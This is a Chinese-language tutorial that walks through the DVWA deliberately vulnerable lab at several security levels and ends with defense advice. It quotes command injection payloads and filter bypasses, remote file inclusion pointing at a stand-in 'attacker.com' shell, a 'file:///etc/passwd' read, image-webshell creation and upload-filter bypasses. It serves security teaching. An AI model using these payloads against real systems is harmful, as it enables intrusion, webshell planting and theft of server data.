DVWA渗透测试之旅与代码分析
字数 1952 2025-08-18 11:39:04
DVWA渗透测试与代码分析教学文档
1. DVWA概述
DVWA (Damn Vulnerable Web Application) 是一个用于安全测试的脆弱Web应用程序,包含多种常见漏洞类型:
- 暴力破解
- SQL注入
- XSS跨站脚本攻击
- 文件上传
- 文件包含
- CSRF
- 命令注入
- 不安全的验证码
DVWA为每个漏洞模块提供四种安全级别:低(Low)、中(Medium)、高(High)、不可能(Impossible)。
2. 暴力破解漏洞
2.1 Low级别
代码分析:
// 未做任何过滤或防爆破措施
// 直接接收username和password进行数据库查询
渗透测试步骤:
- 使用Burp Suite抓取登录请求包
- 发现用户名和密码明文传输,无token保护
- 在Burp Intruder模块设置两个变量(用户名和密码)
- 选择"Cluster bomb"攻击模式
- 设置payload1为用户名字典,payload2为密码字典
- 根据响应长度筛选成功组合
2.2 Medium级别
代码分析:
// 使用mysqli_real_escape_string转义特殊字符
// 添加了sleep(2)延迟,但未限制爆破次数
特点:
- 爆破速度明显变慢(每次错误有2秒延迟)
- 仍可爆破,方法与Low级别相同
2.3 High级别
代码分析:
// 增加了user_token验证机制
// 需要同时爆破密码和token
渗透测试步骤:
- 抓包发现四个参数:username、password、Login、user_token
- 使用"Pitchfork"攻击模式
- 设置线程数为1(高并发会报错)
- 需要同时处理token的更新机制
2.4 Impossible级别
防护措施:
- 失败三次后锁定15分钟
- 使用PDO(PHP数据对象)提高安全性
- 代码中严格限制多次登录尝试
3. 命令注入漏洞
3.1 Low级别
危险函数:
shell_exec() // 通过shell环境执行命令并返回完整输出
漏洞利用:
- 直接拼接系统命令,如:
127.0.0.1 && net user
3.2 Medium级别
过滤机制:
$substitutions = array('&&' => ' ', ';' => ' ');
$target = str_replace(array_keys($substitutions), $substitutions, $target);
绕过方法:
- 使用
&;&代替&&:127.0.0.1 &;& net user
3.3 High级别
严格过滤:
// 过滤了更多字符:|、;、&、-、'、||、&&、>、<
绕过方法:
- 利用管道符
|后加空格的方式:127.0.0.1 | net user
3.4 Impossible级别
防护措施:
- 验证user_token防止CSRF
- 使用stripslashes()删除反斜杠
- 使用explode()以"."分隔IP地址
- 严格限制输入格式
4. 文件包含漏洞
4.1 Low级别
危险函数:
include()或require()
漏洞利用:
- 直接包含本地或远程文件:
?page=../../config.php - 远程包含:
?page=http://attacker.com/shell.txt
4.2 Medium级别
过滤机制:
// 过滤http://、https://、../、..\
$file = str_replace(array("http://", "https://", "../", "..\\"), "", $file);
绕过方法:
- 双写绕过:
hthttp://tp://attacker.com/shell.txt
4.3 High级别
白名单策略:
// 只允许包含file开头的文件
if(!fnmatch("file*", $file) && $file != "include.php")
绕过方法:
- 使用file协议:
file:///etc/passwd
5. 文件上传漏洞
5.1 Low级别
漏洞分析:
- 无任何文件类型、内容、大小限制
- 直接上传PHP文件即可获取webshell
5.2 Medium级别
限制措施:
// 只允许jpg/png类型,大小<100KB
// 仅检查MIME类型
绕过方法:
- 修改文件名为shell.png
- 上传时拦截请求修改为shell.php
- 或上传图片马配合文件包含漏洞
5.3 High级别
严格限制:
// 强制后缀为.jpg
$img_path = UPLOAD_PATH.'/'.md5($uploaded_name).'.jpg';
绕过方法:
- 制作图片马:
copy 1.jpg/b + 1.php/a 2.jpg - 配合文件包含漏洞执行:
?page=path/to/2.jpg
6. 其他绕过技术
-
黑名单绕过:
- 使用不常见扩展名:.phtml、.php5
- 大小写混合:.PhP
-
Windows特性绕过:
- 利用Windows文件名特性:
shell.php.、shell.php::$DATA
- 利用Windows文件名特性:
-
二次上传:
- 先上传合法图片,再修改内容
-
双文件名上传:
filename="shell.php shell.jpg"
-
%00截断:
- 在PHP<5.3.4有效:
shell.php%00.jpg
- 在PHP<5.3.4有效:
7. 防御建议
-
暴力破解防御:
- 实施账户锁定机制
- 使用强验证码
- 限制登录尝试频率
-
命令注入防御:
- 避免使用shell_exec等危险函数
- 使用白名单验证输入
- 严格过滤所有元字符
-
文件包含防御:
- 禁用远程文件包含(php.ini中allow_url_include=Off)
- 使用白名单限制包含文件
- 避免动态包含用户可控文件
-
文件上传防御:
- 检查文件内容而不仅是扩展名
- 重命名上传文件
- 存储在非web可访问目录
- 设置严格的文件类型白名单
8. 总结
DVWA提供了从低到高不同安全级别的漏洞环境,通过代码分析和渗透测试可以深入理解:
- 漏洞原理及利用方式
- 不同级别的防护措施
- 绕过防护的技术手段
- 实际防御的最佳实践
安全测试应遵循道德准则,仅对授权目标进行测试。